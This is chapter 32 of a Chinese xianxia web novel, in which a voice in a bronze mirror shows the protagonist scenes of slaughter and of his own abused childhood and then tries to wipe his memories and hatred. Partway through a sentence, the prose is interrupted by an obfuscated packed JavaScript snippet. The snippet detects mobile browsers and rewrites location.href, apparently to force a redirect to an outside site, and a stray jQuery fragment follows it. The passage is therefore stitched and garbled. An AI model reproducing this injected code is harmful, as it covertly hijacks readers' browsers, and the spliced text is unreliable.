32. 第 32 章
作品:《我把仙尊拐大山》 镜中世界。
混沌的黑暗之中,古朴的青铜镜静静悬浮。
那道空灵之声刚落,晏不见脊背便骤然窜起一股寒意。他几乎是本能地闭紧双眼,将脸深深埋下,拒绝看向前方。
“......观这业镜之景,你有何感触?”可那声音竟于此时再度响起。
话音未落,他便觉有一股无形之力猛然扼住了他的脖颈,随后头颅被强行托举,眼皮也被硬生生掀开,迫使他直视向那镜面。
他心中惊怒,周身金色剑气暴涨,却在射出之际如泥牛入海般被四周的混沌瞬间吞噬,连半分波澜都未能激起——他与这未知存在的差距竟如云泥一般,此刻连挣扎的资格都没有!
在他看向镜面的瞬间,镜中灰雾突然旋转加速,随后,无数画面如灯影一般自其中闪逝而过......少顷,镜面复又沉寂,灰雾渐渐凝聚成清晰的画面。
——第一幕,是云洲边境的一处风雨飘摇的破败村落。
残垣断壁间,一名身着粗布衣裙的寡母将年幼的儿子紧紧护在身下,身后一头青面獠牙的恶鬼正张开血盆大口,涎水滴落在地,腐蚀出一个个小坑。
寡母手中紧握着一把豁口的菜刀,单薄的身躯抑制不住地颤抖,眼神却如铁般坚定,朝恶鬼嘶声怒吼:“别碰我儿!”
寒光一闪,恶鬼利爪挥过,菜刀应声断为两截。下一刻,鲜血喷溅,寡母的胸膛被生生剖开,温热的血泼了孩子满脸。孩童惊恐的啼哭才刚刚响起,便被恶鬼贪婪的咀嚼声彻底淹没。
四周复静,浓重的灰雾席卷而来,将那惨象吞没。
镜前,晏不见面无表情地看着,漆黑的眼眸里静如死水,无悲无悯,无怒无惊,仿佛方才映照的并非人间至痛,而是无关紧要的枯石朽木。
于是灰雾再起。
——第二幕,是平洲山间一间简陋的茅屋。
瘸腿的男子被妻子护在身后,妻子双手紧握着锄头,面对三只扑来的恶妖,嘶吼着挥锄反抗。
恶妖利爪划破她的手臂,鲜血顺着锄柄流淌,她却丝毫未退,直到一只恶妖从侧面偷袭,一口咬断她的脖颈。
男子目眦欲裂,拖着瘸腿拼命爬向妻子,却被恶妖一脚踏碎胸膛。他眼中最后的光彩,伴随着令人牙酸的骨裂声,彻底湮灭。
画面尚未完全消散,晏不见已漠然移开视线,仿佛那垂死之人的哀嚎只是扰人清静的蝇嗡,不值半分驻足。
灰雾再一次涌动。
——下一幕,来到了中洲的密林。
一名少年举着柴刀,双手颤抖得几乎握不住刀柄,却依旧挡在姐姐身前,面对浑身散发着尸臭的恶鬼,声音带着哭腔却不肯退缩:“别过来!我、我不怕你!”
恶鬼见状却只是嗤笑一声,指尖射出一道黑气,少年的柴刀顿时化为飞灰,黑气却去势不止,瞬间穿透他的胸膛。
在姐姐凄厉的哭喊中,少年颓然倒地,在这世上的最后一眼,还望着姐姐被恶鬼拖拽而走的方向。
一幕幕惨状在镜中流转,血腥与绝望在混沌的灰雾中弥漫。可晏不见的脸上却没有丝毫情绪波动,那双漆黑的眸子如同深潭,不见半分涟漪。
直至所有画面彻底消散,镜面重归混沌,那道声音才又一次响起:“你有何感触?”
晏不见默然一瞬,尔后冷冷开口,声线平稳无波:“与我无关。”
此言一出,四周万籁俱寂。
片刻后,那道声音重又开口,竟带着一丝难以言喻的赞赏——
“心无挂碍,不染尘俗悲欢,已初具无情道基,善。”
晏不见闻言,眸底微不可查地一颤。然而就在下一瞬,却又听那声音开口道:“......可若,接下来再看呢?”
随其话音落下,镜中灰雾竟以比方才快上数倍的速度再度翻腾!这一次,浮现的景象——
赫然是他自己的过往。
画面中,是黑风域破败荒凉的古庙角落,年幼的他蜷缩着,手中死死攥着半块脏污的馒头,耳边是收养他的远亲尖酸刻薄的辱骂:“丧门星,克死爹娘还不够,还想克死我们不成!——当初就不该捡回你这祸害!”;
是远亲死后,年仅七岁的他沿街乞讨,被店铺掌柜一脚踹翻破碗,唾骂:“哪来的野狗,也敢在老子门前讨食?快滚,别把晦气带给我!”;
是他挣扎着长大,终于自行领悟道法,却于山中苦修时被魔修掳走,扔进阴暗的地牢中。尔后手臂被强行按在试药石台上,看着诡异药液渗入皮肉,带来钻心蚀骨的剧痛。无数个日夜里,他被冰冷锁链缚于刑架,承受鞭挞万虫啃噬,只能在无边的黑暗里默默舔舐伤口,将所有的恨意与复仇的誓言咬碎在齿间。
晏不见目光死死地盯着镜面,过往痛苦的记忆如同潮水般涌来,让他周身的气息愈发冰冷。
他的身体微微颤着,指节因用力而泛白,此时虽一言不发,可那双已然赤红的眼中翻涌着的、几乎快要实质化的刻骨恨意,却暴露了他此刻压抑到极致的心境——那些欺辱与折磨,他从未忘记,也绝不可能忘记!
“人心中对自我的顽固认知,对得失、爱恨、荣辱的执着,便是......‘我执’。”那声音幽然响起,忽而贴在他耳畔,忽而绕至他脑后,如同鬼魅低语,“此镜能鉴照出人心深处最隐秘、最顽固的执念,无论是你对仇人的恨意,对命运的抗拒,还是对力量的渴望,皆能在镜中显化——”
“你身负天成剑骨,凶性自蕴;又因命途多舛,自幼孤苦,饱尝世情冷暖,以至一路行来,心中唯剩冰冷恨意。这‘恨’之一字,便是你如今最大的执念。”
说到这里,那声音顿了顿,尔后竟是叹道:“但你可知,万物缘起皆无自性。所谓的‘仇恨’、‘命运’,皆如镜花水月,本为‘空相’。你执着于仇恨,便会被仇恨吞噬,沦为复仇的傀儡;你执着于命运,便会被命运束缚,永远困在过往的痛苦中。只有放下‘我执’,照见万物空相,方能挣脱枷锁,得见真道。”
——此言既出,晏不见身前镜中那盘桓着的灰雾竟骤然一散,取而代之的,竟是是一株生长在断崖之上的花树。
那花树开满了淡粉色的花朵,风一吹过,花瓣便如同细雨般簌簌落下,在空中划出优美的弧线,最终坠入断崖下的云海,湮没无踪。
“——此刻观此花树,你又有何感触?”
晏不见眼中血色未曾因为方才画面消散而散去,反而在此时愈发猩红,似有两簇冰冷的血焰在瞳孔深处无声燃烧。他缓缓开口,声音带着刺骨的冷意:“此花在深山中自开自落,生与灭皆随其自然,与我何关?”
语落,只闻“哗”的一声,镜中刮过一阵猛烈山风,将那花与树尽数吹散,复归混沌。
沉默少顷,那道声音重又开口,此时竟是带着一丝点化之意:“你未看此花时,此花与你心同归于寂;你来看此花时,此花颜色才会因你而鲜艳。由此便应知:此花并非只是山野闲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319987|182663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花,它早已植根你心,映照你之造化......”
“你目之所及,万物皆由心显;你与这婆娑世间,本就同根同源,密不可分!”
晏不见闻言一怔,瞳孔微微收缩——他从未思忖,自身与这天地万物,竟存有如此幽微而深刻的勾连。
“明日仙尊啊,你已做到心无外物,却不知人存于世,本就是这世间的一部分。”那道声音继续道,“接引仙界重归、守护三千洲,非为惩恶扬善、斩妖除魔,捍卫区区个体之存续——而是为使此间之‘衡’重归正序,令天地法则平稳运行。唯其如此,居于其中的你方能真正超脱命运樊笼,于有序乾坤内,追寻无上大道!”
“一切有为法,如梦幻泡影,如露亦如电,应作如是观。”话己至此,那声音竟陡然变得威严,“经方才镜中一观,你胸中剑戾过度,心中执念已阻你无情道途......今日,我便助你斩却此心魔,此后道途坦荡,一步通天!”
语落,晏不见只觉竟有一道陌生的意志如同闪电般,蓦然侵入了自己的识海!
他心中不由大惊,拼命调动神魂反抗,可却惶然发现:自己根本无法抵挡这股力量!
在那道意志的冲刷下,他识海中的记忆竟开始飞速消散——辱骂、毒打、饥寒、屈辱……无数痛苦的碎片,连同那支撑他活下去的仇恨与执念,都如沙堡遇潮,被轻而易举地抹平、涤荡。
随着记忆的流逝,他也能清晰地感觉到,某一部分的自己正在不断“死亡”,逐渐变得麻木而空洞。
可就在意识即将彻底被同化的刹那,却有一幕画面却如同烙印般,死死定格在他的识海深处,任凭那道陌生意志如何冲刷,都无法将其磨灭——
那是在藤魇老祖的藏宝迷宫中,少女捧着石髓乳,脸上带着狡黠的笑意,眼底却满是真挚的喜悦,朝他递来药瓶:“快喝了,这个能止血生肌!”
那笑靥明媚鲜活,如同照进无边黑暗的唯一一束光,让他冰封死寂的心湖,泛起一丝连自己都未曾察觉的微澜……
他此生,本来从未体验过那般纯粹的温暖。
那一瞬的悸动恍如春雪初融,可谁能料到,那雪下埋藏的,竟是世间最锋利的刃——
他始终清楚地记得后来那红衣女修的话语——原来那些温暖不过是她精心编织的伪装,不过是为了让他放松警惕,好更好地折磨他!
......为什么?为什么要在他最狼狈不堪时递来一丝光亮?为什么要让他误以为自己也配得到关怀之际,却又用最残忍的方式告知他——
这一切,都只不过是另一场更精致的凌迟!
那份欺瞒比黑风域最冷的夜还要刺骨,比地牢里最毒的虫噬还要折磨人。它不伤皮肉,只蛀魂蚀骨,将他本就残破的灵魂,彻底掏空。
他被抛上希望的云端,又狠狠砸回绝望的深渊,摔得粉身碎骨。
“——为何要予我微光,又亲手将其捻灭?!”
无声的嘶吼在他胸腔中震荡,几乎要撕裂他的五脏六腑。恨意如毒藤般疯长,缠绕住他支离破碎的心,刺入每一条尚未结痂的伤口。
在绝望中燃起又被浇灭的希望,成为压垮他的最后一根稻草,比任何殴打更痛,比任何毒药更致命,此时带着毁灭一切的疯狂,要将他、连同这可憎的记忆本身,一同冻结、碾碎。
“不......”晏不见眼角淌下血泪,发出声嘶力竭的怒吼,“绝不能忘......绝不能忘!!”